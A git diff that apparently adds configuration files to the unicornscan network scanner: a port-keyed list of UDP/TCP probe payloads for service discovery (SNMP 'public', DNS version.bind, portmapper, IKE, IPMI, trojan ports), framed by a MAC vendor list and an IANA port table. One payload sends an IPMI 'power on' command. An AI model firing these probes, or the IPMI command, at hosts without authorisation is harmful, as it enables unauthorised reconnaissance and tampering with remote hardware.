+08-BB-CC:AK-NORD EDV VERTRIEBSGES. mbH +10-00-00:PRIVATE +10-00-5A:IBM CORPORATION +10-00-E8:NATIONAL SEMICONDUCTOR +11-00-AA:PRIVATE +80-00-10:ATT BELL LABORATORIES +A0-6A-00:Verilink Corporation +AA-00-00:DIGITAL EQUIPMENT CORPORATION +AA-00-01:DIGITAL EQUIPMENT CORPORATION +AA-00-02:DIGITAL EQUIPMENT CORPORATION +AA-00-03:DIGITAL EQUIPMENT CORPORATION +AA-00-04:DIGITAL EQUIPMENT CORPORATION +AC-DE-48:PRIVATE diff --git a/etc/payloads.conf b/etc/payloads.conf new file mode 100644 index 0000000..4d8ebb2 --- /dev/null +++ b/etc/payloads.conf @@ -0,0 +1,467 @@ + +payloads { + /* syntax + (tcp|udp) (destination port) (source port) (payload group) + so: + udp 555 5432 5 { + "blah" + }; + + would be: + udp packet containing the payload `blah' for destport 555 coming from source port 5432 in payload + group 5. + */ + + /* DEFAULT UDP PAYLOAD */ + udp -1 -1 1 { + "AAAAAAAAAAAAAAAA\r\n" + }; + + /* DEFAULT TCP PAYLOAD */ + tcp -1 -1 1 { + "HEAD / HTTP/1.0\r\n\r\n" + }; + + /* echo */ + udp 7 -1 1 { + "we mean you no harm\n" + }; + + /* sysstat */ + udp 11 -1 1 { + "\r\n\0\0" + }; + + /* daytime */ + udp 13 -1 1 { + "\r\n\0\0" + }; + + /* qotd */ + udp 17 -1 1 { + "\r\n\0\0" + }; + + /* chargen */ + udp 19 -1 1 { + "\r\n\0\0" + }; + + /* + tcp 23 -1 1 { + "\xff\xfd\x03" /* Do Suppress go ahead * + "\xff\xfb\x18" /* Will terminal type * + "\xff\xfb\x1f" /* Will naws * + "\xff\xfb\x1f" /* Will Tspeed * + "\xff\xfb\x + }; + */ + + tcp 443 -1 1 { + "\x16\x03\x00\x00\x5f\x01\x00\x00\x5b\x03\x00\x50\x50\x50\x50\x50" + "\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50" + "\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x00\x00\x34\x00\x00" + "\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08" + "\x00\x09\x00\x10\x00\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00\x16" + "\x00\x17\x00\x18\x00\x19\x00\x30\x00\x31\x00\x32\x00\x33\x00\x34" + "\x00\x35\x01\x00" + }; + + + /* look octal */ + udp 37 -1 1 { + "\012\000" + }; + + udp 36 36 1 { + "aaaaa" + }; + + /* fsp */ + udp 21 -1 1 { + "\x10\x44\xf0\x33\x04\x00\x00\x00\x00\x00\x00\x00" + }; + + /* fsp still? */ + udp 2000 -1 1 { + "\x10\x44\xf0\x33\x04\x00\x00\x00\x00\x00\x00\x00" + }; + + /* yafsp payload */ + udp 2221 -1 1 { + "\x10\x44\xf0\x33\x04\x00\x00\x00\x00\x00\x00\x00" + }; + + /* rplay ping, needs work */ + udp 555 -1 1 { + "\x1e\x11\x00\x00" + }; + udp 5555 -1 1 { + "\x1e\x11\x00\x00" + }; + + /* XXX IP (tos 0x0, ttl 255, id 8135, offset 0, flags [none], length: 70) 10.X.X.X.YYY > Z.Z.Z.Z.921: [udp sum ok] lwres v0 noop? */ + /* (serial:0x11223344 result:0x0 recvlen:1432778632 authtype:0x0 authlen:0) [len: 41 != 42][extra] <-- kinda broken */ + udp 921 -1 1 { + "\x00\x00\x00\x29\x00\x00\x00\x00\x11\x22\x33\x44\x00\x00\x00\x00" + "\x00\x00\x00\x00\x55\x66\x77\x88\x00\x00\x00\x00\x00\x0b\x6c\x77" + "\x72\x65\x73\x64\x20\x70\x69\x6e\x67\x00" + }; + + /* q3 marker 0xFFFF RequestChallenge Connectionless Client to server */ + udp 27960 27960 1 { + "\xff\xff\xff\xff" /* Marker */ + "getchallenge" /* text */ + "\x00\x00" /* null bytes seen sometimes */ + }; + + udp 10080 -1 1 { + "Amanda 2.3 REQ HANDLE 000-65637373 SEQ 954568800\nSERVICE amanda\n" + }; + udp 10081 -1 1 { + "Amanda 2.3 REQ HANDLE 000-65637373 SEQ 954568800\nSERVICE amanda\n" + }; + + /* pc anywhere */ + udp 22 -1 1 { + "NQ" + }; + udp 22 -1 1 { + "ST" + }; + udp 5632 -1 1 { + "NQ" + }; + udp 5632 -1 1 { + "ST" + }; + + /* halo ? */ + udp 2302 -1 1 { + "\\status\\" + }; + + /* citrix */ + udp 1604 -1 1 { + "\x20\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + }; + + /* stun ? */ + udp 3478 -1 1 { + "\x00\x01\x00\x08\x12\x23\x34\x45\x56\x67\x78\x89\x90\x01\x12\x23" + "\x34\x45\x56\x67\x00\x03\x00\x04\x00\x00\x00\x00" + }; + + /* CA unicenter ? */ + udp 4104 -1 1 { + "\r\n" + }; + /* CA unicenter transport ? */ + udp 7004 -1 1 { + "\r\n" + }; + + /* some strange thing i cant recall */ + udp 7983 9325 1 { + "ping" + }; + + /* AFS RX rx version cid 00000000 call# 101 seq 0 ser 0 secindex 0 serviceid 0 , (28) */ + udp 7001 -1 1 { + "\x00\x00\x03\xe7\x00\x00\x00\x00\x00\x00\x00\x65\x00\x00\x00\x00" + "\x00\x00\x00\x00\x0d\x05\x00\x00\x00\x00\x00\x00" + }; + + /* some other trojan ? */ + udp 31337 -1 1 { + "\xce\x63\xd1\xd2\x16\xe7\x13\xcf\x39\xa5\xa5\x86\x4d\x8a\xb4\x66" + "\xaa\x32" + }; + + /* once more */ + udp 31337 1543 1 { + "\xce\x63\xd1\xd2\x16\xe7\x13\xcf\x38\xa5\xa5\x86\xb2\x75\x4b\x99" + "\xaa\x32\x58\x00" + }; + + /* oddly there seem to be alot of these on the internet still .... mssql */ + udp 1434 -1 1 { + "\x02\x00" + }; + + /* ahem, this segfaults tcpdump (printer), thats not really the payload i wanted for here... its fixed however... + l2tp:[TLS](0/0)Ns=0,Nr=0 *MSGTYPE(SCCRQ) *PROTO_VER(1.0) *FRAMING_CAP(AS) *BEARER_CAP() *HOST_NAME(test) |... + udp 1701 -1 2 { + "\xc8\x02\x00\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x80\x08\x00\x00" + "\x00\x00\x00\x01\x80\x08\x00\x00\x00\x02\x01\x00\x80\x0a\x00\x00" + "\x00\x03\x00\x00\x00\x03\x80\x0a\x00\x00\x00\x04\x00\x00\x00\x00" + "\x80\x0c\x00\x00\x00\x07\x74\x65\x73\x74\x80\x08\x00\x00\x00\x08" + "\x2a\x2a\x80\x08\x00\x00\x00\x0a\x00\x04" + }; + */ + + udp 53 -1 1 { + "\xba\x90\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x6c\x6f\x63" + "\x61\x6c\x68\x6f\x73\x74\x00\x00\x01\x00\x01" + }; + + udp 5353 5353 1 { + "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5f\x73\x65" /* ............._se */ + "\x72\x76\x69\x63\x65\x73\x07\x5f\x64\x6e\x73\x2d\x73\x64\x04\x5f" /* rvices._dns-sd._ */ + "\x75\x64\x70\x05\x6c\x6f\x63\x61\x6c\x00\x00\x0c\x00\x01" /* udp.local..... */ + }; + + udp 5353 5353 1 { + "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5f\x73\x65" /* ............._se */ + "\x72\x76\x69\x63\x65\x73\x07\x5f\x64\x6e\x73\x2d\x73\x64\x04\x5f" /* rvices._dns-sd._ */ + "\x74\x63\x70\x05\x6c\x6f\x63\x61\x6c\x00\x00\x0c\x00\x01" /* tcp.local..... */ + }; + + + /* people dislike this one, CHAOS TXT VERSION */ + udp 53 -1 1 { + "\x00\x0a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07\x56\x45\x52" + "\x53\x49\x4f\x4e\x04\x42\x49\x4e\x44\x00\x00\x10\x00\x03" + }; + + /* tftp get x */ + udp 69 -1 1 { + "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00" + }; + + /* portmapper V2 GETPORT call */ + udp 111 32804 1 { + "\x1f\xac\x4a\x1e\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0" + "\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\xa0\x00\x00\x00\x02" + "\x00\x00\x00\x11\x00\x00\x00\x00" + }; + + /* rpcinfo v2 dump */ + tcp 111 -1 1 { + "\x80\x00\x00\x28\x5f\xfc\x60\x79\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + }; + + /* NTPv2 res1, strat 1, poll 0, prec 1 dist 0.000000, disp 0.000000 */ + udp 123 123 1 { + "\x16\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" + }; + + /* NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST */ + udp 137 -1 1 { + "\x02\xc0\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21" + "\00\01" + }; + + /* snmp v1 public */ + udp 161 161 1 { + "\x30\x26\x02\x01\x00\x04" + "\x06public" + "\xa1\x19\x02" + "\x04\x1f\x1d\x8c\x5b\x02\x01\x00\x02\x01\x00\x30\x0b\x30\x09\x06" + "\x05\x2b\x06\x01\x02\x01\x05\x00" + }; + +/* + udp 161 161 1 { + "\x30\x82\x00\x23\x02\x01\x00\x04\x04\x49\x4c\x4d\x49\xa1\x18\x02" + "\x01\x01\x02\x01\x00\x02\x01\x00\x30\x0d\x30\x82\x00\x09\x06\x05" + "\x2b\x06\x01\x02\x01\x05\x00" + }; + udp 161 161 1 { + "\x30\x27\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xa1\x19" + "\x02\x04\x79\x84\x11\xba\x02\x01\x00\x02\x01\x00\x30\x0b\x30\x09" + "\x06\x05\x2b\x06\x01\x02\x01\x05\x00" + }; + udp 161 161 1 { + "\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa1\x19\x02" + "\x04\x5e\xde\xac\x02\x02\x01\x00\x02\x01\x00\x30\x0b\x30\x09\x06" + "\x05\x2b\x06\x01\x02\x01\x05\x00" + }; +*/ + + /* XDMCP info request */ + udp 177 -1 1 { + "\x00\x01\x00\x02\x00\x01\x00\x00" + }; + + tcp 23 -1 1 { + "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff" + "\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd" + "\x05" + }; + + tcp 113 -1 1 { + "113,24656\r\n" + }; + + tcp 631 -1 1 { + "HEAD / HTTP/1.1\r\nHost: localhost\r\nConnection: Close\r\nUser-Agent: unicornscan\r\n\r\n" + }; + + /* nfs */ + udp 2049 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa3" + "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + + /* radius with a's */ + udp 1812 1812 1 { + "\x01\x86\x00\x35\x60\x05\x90\x90\x77\x74\x08\x14\xe8\xfa\xb9\x68" + "\x96\x3d\xd1\xba\x01\x03\x61\x02\x12\xd1\x96\xe0\x60\x49\x22\xb5" + "\x68\xca\xc0\xd3\xfc\xd5\x55\x43\x2f\x04\x06\xff\xff\xff\xff\x05" + "\x06\x00\x00\x00\x01" + }; + + /* SADM v10 proc-0 call */ + udp 32767 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + udp 32768 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32769 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32770 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32771 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32772 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32773 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* SADM v10 proc-0 call */ + udp 32774 -1 1 { + "\x12\x34\x56\x78\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x87\x88" + "\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + }; + /* you get the idea */ + + /* PSK isakmp */ + udp 500 500 1 { + "\x6e\x32\x4e\x49\x24\xf2\xbc\xbe\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x01\x50\x00\x00\x01\x34" + "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\x28\x01\x01\x00\x08" + "\x03\x00\x00\x24\x01\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02" + "\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x04" + "\x00\x00\x70\x80\x03\x00\x00\x24\x02\x01\x00\x00\x80\x01\x00\x05" + "\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01" + "\x00\x0c\x00\x04\x00\x00\x70\x80\x03\x00\x00\x24\x03\x01\x00\x00" + "\x80\x01\x00\x01\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02" + "\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80\x03\x00\x00\x24" + "\x04\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x01\x80\x03\x00\x01" + "\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80" + "\x03\x00\x00\x24\x05\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02" + "\x80\x03\x00\x01\x80\x04\x00\x01\x80\x0b\x00\x01\x00\x0c\x00\x04" + "\x00\x00\x70\x80\x03\x00\x00\x24\x06\x01\x00\x00\x80\x01\x00\x05" + "\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x01\x80\x0b\x00\x01" + "\x00\x0c\x00\x04\x00\x00\x70\x80\x03\x00\x00\x24\x07\x01\x00\x00" + "\x80\x01\x00\x01\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x01" + "\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80\x00\x00\x00\x24" + "\x08\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x01\x80\x03\x00\x01" + "\x80\x04\x00\x01\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80" + }; + + /* aggressive isakmp */ + udp 500 500 1 { + "\x50\xbc\xb2\xb9\x6a\x36\x34\x92\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\x10\x04\x00\x00\x00\x00\x00\x00\x00\x01\x64\x04\x00\x00\xa4" + "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x98\x01\x01\x00\x04" + "\x03\x00\x00\x24\x01\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02" + "\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x04" + "\x00\x00\x70\x80\x03\x00\x00\x24\x02\x01\x00\x00\x80\x01\x00\x05" + "\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01" + "\x00\x0c\x00\x04\x00\x00\x70\x80\x03\x00\x00\x24\x03\x01\x00\x00" + "\x80\x01\x00\x01\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02" + "\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80\x00\x00\x00\x24" + "\x04\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x01\x80\x03\x00\x01" + "\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x00\x70\x80" + "\x0a\x00\x00\x84\x74\x7a\x47\x87\x34\xe7\x43\x4e\xe1\x7f\x70\x24" + "\x40\x77\xa1\x21\x0e\xad\x46\x34\xe8\xc1\x41\x29\x51\xf8\xa2\xd8" + "\x94\x87\xd1\x08\x01\x18\x8f\x36\xff\xd3\x84\xe0\x52\xf4\x04\x92" + "\x6b\xa5\xb4\x79\x53\xfa\xae\x3b\xbc\xef\x65\x0d\xe7\x07\xe5\x7b" + "\x8e\xb6\x83\x90\xce\x13\xc6\xcd\xe6\x4a\xae\x38\x3e\xb2\xcb\xa9" + "\x58\x7f\x23\xab\x79\xd1\xe6\x35\xc0\x4b\x42\xa8\x52\x27\x23\xe1" + "\xdd\xa7\x71\xab\xba\x37\x79\xa0\x81\x27\xd8\xbf\xd9\xa3\x68\x31" + "\x22\x8b\xdc\x9c\x5c\xc3\xd1\x1d\x0e\x14\xc5\x61\x3b\xe8\x42\x19" + "\x8f\xb3\xc4\x49\x05\x00\x00\x18\x43\xc0\x07\x7d\xe1\x96\x0c\x25" + "\x26\x3b\x7b\x0d\x41\x8f\xb6\x78\x87\x9c\xe5\xf9\x00\x00\x00\x08" + "\x03\x11\x01\xf4" + }; + + udp 520 -1 1 { + "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x10" + + }; + + /* makes people angry, plus syslog is a sink */ + /* udp 514 -1 1 { + "<00>we mean you no harm" + }; */ + + udp 7777 -1 1 { + "None\x00\x00" + }; + + /* IPMI UDP for "Get Authentication Capabilitiy request" */ + udp 623 -1 1 { + "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18" /* .............. . */ + "\xc8\x81\x2c\x38\x0e\x02\x0b" /* ..,8... */ + }; + + /* IMPI UDP for "Query Power Status" */ + udp 623 -1 1 { + "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18" /* .............. . */ + "\xc8\x81\x44\x38\x0e\x02\xf3" /* ..D8... */ + }; + + /* IPMI TCP for "Get Authentication Capabilitiy request" */ + udp 623 -1 1 { + "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18" /* .............. . */ + "\xc8\x81\x2c\x38\x0e\x02\x0b" /* ..,8... */ + }; + + /* IPMI TCP for "Query Power Status" */ + tcp 623 -1 1 { + "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18" /* .............. . */ + "\xc8\x81\x44\x38\x0e\x02\xf3" /* ..D8... */ + }; + + /* IPMI UDP turn the power on */ + udp 623 -1 2 { + "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18" /* .............. . */ + "\xc8\x81\x1c\x38\x0e\x03\x1a" /* ...8... */ + }; +}; diff --git a/etc/ports.txt b/etc/ports.txt new file mode 100644 index 0000000..9b9253e --- /dev/null +++ b/etc/ports.txt @@ -0,0 +1,8462 @@ +# (last updated 29 July 2004) from http://www.iana.org/assignments/port-numbers +# Keyword Decimal Description References +# ------- ------- ----------- ---------- +tcpmux 1/tcp TCP Port Service Multiplexer +tcpmux 1/udp TCP Port Service Multiplexer +compressnet 2/tcp Management Utility +compressnet 2/udp Management Utility +compressnet 3/tcp Compression Process +compressnet 3/udp Compression Process +rje 5/tcp Remote Job Entry +rje 5/udp Remote Job Entry +echo 7/tcp Echo +echo 7/udp Echo +discard 9/tcp Discard +discard 9/udp Discard +systat 11/tcp Active Users +systat 11/udp Active Users +daytime 13/tcp Daytime (RFC 867) +daytime 13/udp Daytime (RFC 867) +qotd 17/tcp Quote of the Day +qotd 17/udp Quote of the Day +msp 18/tcp Message Send Protocol +msp 18/udp Message Send Protocol +chargen 19/tcp Character Generator +chargen 19/udp Character Generator +ftp-data 20/tcp File Transfer [Default Data] +ftp-data 20/udp File Transfer [Default Data] +ftp 21/tcp File Transfer [Control] +ftp 21/udp File Transfer [Control] +ssh 22/tcp SSH Remote Login Protocol +ssh 22/udp SSH Remote Login Protocol +telnet 23/tcp Telnet +telnet 23/udp Telnet +apms 24/tcp any private mail system +apms 24/udp any private mail system +smtp 25/tcp Simple Mail Transfer +smtp 25/udp Simple Mail Transfer +nsw-fe 27/tcp NSW User System FE +nsw-fe 27/udp NSW User System FE +msg-icp 29/tcp MSG ICP +msg-icp 29/udp MSG ICP +msg-auth 31/tcp MSG Authentication +msg-auth 31/udp MSG Authentication +dsp 33/tcp Display Support Protocol +dsp 33/udp Display Support Protocol +apps 35/tcp any private printer server +apps 35/udp any private printer server +time 37/tcp Time +time 37/udp Time +rap 38/tcp Route Access Protocol +rap 38/udp Route Access Protocol +rlp 39/tcp Resource Location Protocol +rlp 39/udp Resource Location Protocol +graphics 41/tcp Graphics +graphics 41/udp Graphics +name 42/tcp Host Name Server +name 42/udp Host Name Server +nameserver 42/tcp Host Name Server +nameserver 42/udp Host Name Server +nicname 43/tcp Who Is +nicname 43/udp Who Is +mpm-flags 44/tcp MPM FLAGS Protocol +mpm-flags 44/udp MPM FLAGS Protocol +mpm 45/tcp Message Processing Module [recv] +mpm 45/udp Message Processing Module [recv] +mpm-snd 46/tcp MPM [default send] +mpm-snd 46/udp MPM [default send] +ni-ftp 47/tcp NI FTP +ni-ftp 47/udp NI FTP +auditd 48/tcp Digital Audit Daemon +auditd 48/udp Digital Audit Daemon +tacacs 49/tcp Login Host Protocol (TACACS) +tacacs 49/udp Login Host Protocol (TACACS) +re-mail-ck 50/tcp Remote Mail Checking Protocol +re-mail-ck 50/udp Remote Mail Checking Protocol +la-maint 51/tcp IMP Logical Address Maintenance +la-maint 51/udp IMP Logical Address Maintenance +xns-time 52/tcp XNS Time Protocol +xns-time 52/udp XNS Time Protocol +domain 53/tcp Domain Name Server +domain 53/udp Domain Name Server +xns-ch 54/tcp XNS Clearinghouse +xns-ch 54/udp XNS Clearinghouse +isi-gl 55/tcp ISI Graphics Language +isi-gl 55/udp ISI Graphics Language +xns-auth 56/tcp XNS Authentication +xns-auth 56/udp XNS Authentication +apta 57/tcp any private terminal access +apta 57/udp any private terminal access +xns-mail 58/tcp XNS Mail +xns-mail 58/udp XNS Mail +apfs 59/tcp any private file service +apfs 59/udp any private file service +ni-mail 61/tcp NI MAIL +ni-mail 61/udp NI MAIL +acas 62/tcp ACA Services +acas 62/udp ACA Services +whois++ 63/tcp whois++ +whois++ 63/udp whois++ +covia 64/tcp Communications Integrator (CI) +covia 64/udp Communications Integrator (CI) +tacacs-ds 65/tcp TACACS-Database Service +tacacs-ds 65/udp TACACS-Database Service +sql*net 66/tcp Oracle SQL*NET +sql*net 66/udp Oracle SQL*NET +bootps 67/tcp Bootstrap Protocol Server +bootps 67/udp Bootstrap Protocol Server +bootpc 68/tcp Bootstrap Protocol Client +bootpc 68/udp Bootstrap Protocol Client +tftp 69/tcp Trivial File Transfer +tftp 69/udp Trivial File Transfer +gopher 70/tcp Gopher +gopher 70/udp Gopher +netrjs-1 71/tcp Remote Job Service +netrjs-1 71/udp Remote Job Service +netrjs-2 72/tcp Remote Job Service +netrjs-2 72/udp Remote Job Service +netrjs-3 73/tcp Remote Job Service +netrjs-3 73/udp Remote Job Service +netrjs-4 74/tcp Remote Job Service +netrjs-4 74/udp Remote Job Service +apdos 75/tcp any private dial out service +apdos 75/udp any private dial out service +deos 76/tcp Distributed External Object Store +deos 76/udp Distributed External Object Store +aprs 77/tcp any private RJE service +aprs 77/udp any private RJE service +vettcp 78/tcp vettcp +vettcp 78/udp vettcp +finger 79/tcp Finger +finger 79/udp Finger +http 80/tcp World Wide Web HTTP +http 80/udp World Wide Web HTTP +hosts2-ns 81/tcp HOSTS2 Name Server +hosts2-ns 81/udp HOSTS2 Name Server +xfer 82/tcp XFER Utility +xfer 82/udp XFER Utility +mit-ml-dev 83/tcp MIT ML Device +mit-ml-dev 83/udp MIT ML Device +ctf 84/tcp Common Trace Facility +ctf 84/udp Common Trace Facility +mit-ml-dev 85/tcp MIT ML Device +mit-ml-dev 85/udp MIT ML Device +mfcobol 86/tcp Micro Focus Cobol +mfcobol 86/udp Micro Focus Cobol +aptl 87/tcp any private terminal link +aptl 87/udp any private terminal link +kerberos 88/tcp Kerberos +kerberos 88/udp Kerberos +su-mit-tg 89/tcp SU/MIT Telnet Gateway +su-mit-tg 89/udp SU/MIT Telnet Gateway +dnsix 90/tcp DNSIX Securit Attribute Token Map +dnsix 90/udp DNSIX Securit Attribute Token Map +mit-dov 91/tcp MIT Dover Spooler +mit-dov 91/udp MIT Dover Spooler +npp 92/tcp Network Printing Protocol +npp 92/udp Network Printing Protocol +dcp 93/tcp Device Control Protocol +dcp 93/udp Device Control Protocol +objcall 94/tcp Tivoli Object Dispatcher +objcall 94/udp Tivoli Object Dispatcher +supdup 95/tcp SUPDUP +supdup 95/udp SUPDUP +dixie 96/tcp DIXIE Protocol Specification +dixie 96/udp DIXIE Protocol Specification +swift-rvf 97/tcp Swift Remote Virtural File Protocol +swift-rvf 97/udp Swift Remote Virtural File Protocol +tacnews 98/tcp TAC News +tacnews 98/udp TAC News +metagram 99/tcp Metagram Relay +metagram 99/udp Metagram Relay +newacct 100/tcp [unauthorized use] +hostname 101/tcp NIC Host Name Server +hostname 101/udp NIC Host Name Server +iso-tsap 102/tcp ISO-TSAP Class 0 +iso-tsap 102/udp ISO-TSAP Class 0 +gppitnp 103/tcp Genesis Point-to-Point Trans Net +gppitnp 103/udp Genesis Point-to-Point Trans Net +acr-nema 104/tcp ACR-NEMA Digital Imag. & Comm. 300 +acr-nema 104/udp ACR-NEMA Digital Imag. & Comm. 300 +cso 105/tcp CCSO name server protocol +cso 105/udp CCSO name server protocol +csnet-ns 105/tcp Mailbox Name Nameserver +csnet-ns 105/udp Mailbox Name Nameserver +3com-tsmux 106/tcp 3COM-TSMUX +3com-tsmux 106/udp 3COM-TSMUX +rtelnet 107/tcp Remote Telnet Service +rtelnet 107/udp Remote Telnet Service +snagas 108/tcp SNA Gateway Access Server +snagas 108/udp SNA Gateway Access Server +pop2 109/tcp Post Office Protocol - Version 2 +pop2 109/udp Post Office Protocol - Version 2 +pop3 110/tcp Post Office Protocol - Version 3 +pop3 110/udp Post Office Protocol - Version 3 +sunrpc 111/tcp SUN Remote Procedure Call +sunrpc 111/udp SUN Remote Procedure Call +mcidas 112/tcp McIDAS Data Transmission Protocol +mcidas 112/udp McIDAS Data Transmission Protocol +ident 113/tcp +auth 113/tcp Authentication Service +auth 113/udp Authentication Service +sftp 115/tcp Simple File Transfer Protocol +sftp 115/udp Simple File Transfer Protocol +ansanotify 116/tcp ANSA REX Notify +ansanotify 116/udp ANSA REX Notify +uucp-path 117/tcp UUCP Path Service +uucp-path 117/udp UUCP Path Service +sqlserv 118/tcp SQL Services +sqlserv 118/udp SQL Services +nntp 119/tcp Network News Transfer Protocol +nntp 119/udp Network News Transfer Protocol +cfdptkt 120/tcp CFDPTKT +cfdptkt 120/udp CFDPTKT +erpc 121/tcp Encore Expedited Remote Pro.Call +erpc 121/udp Encore Expedited Remote Pro.Call +smakynet 122/tcp SMAKYNET +smakynet 122/udp SMAKYNET +ntp 123/tcp Network Time Protocol +ntp 123/udp Network Time Protocol +ansatrader 124/tcp ANSA REX Trader +ansatrader 124/udp ANSA REX Trader +locus-map 125/tcp Locus PC-Interface Net Map Ser +locus-map 125/udp Locus PC-Interface Net Map Ser +nxedit 126/tcp NXEdit +nxedit 126/udp 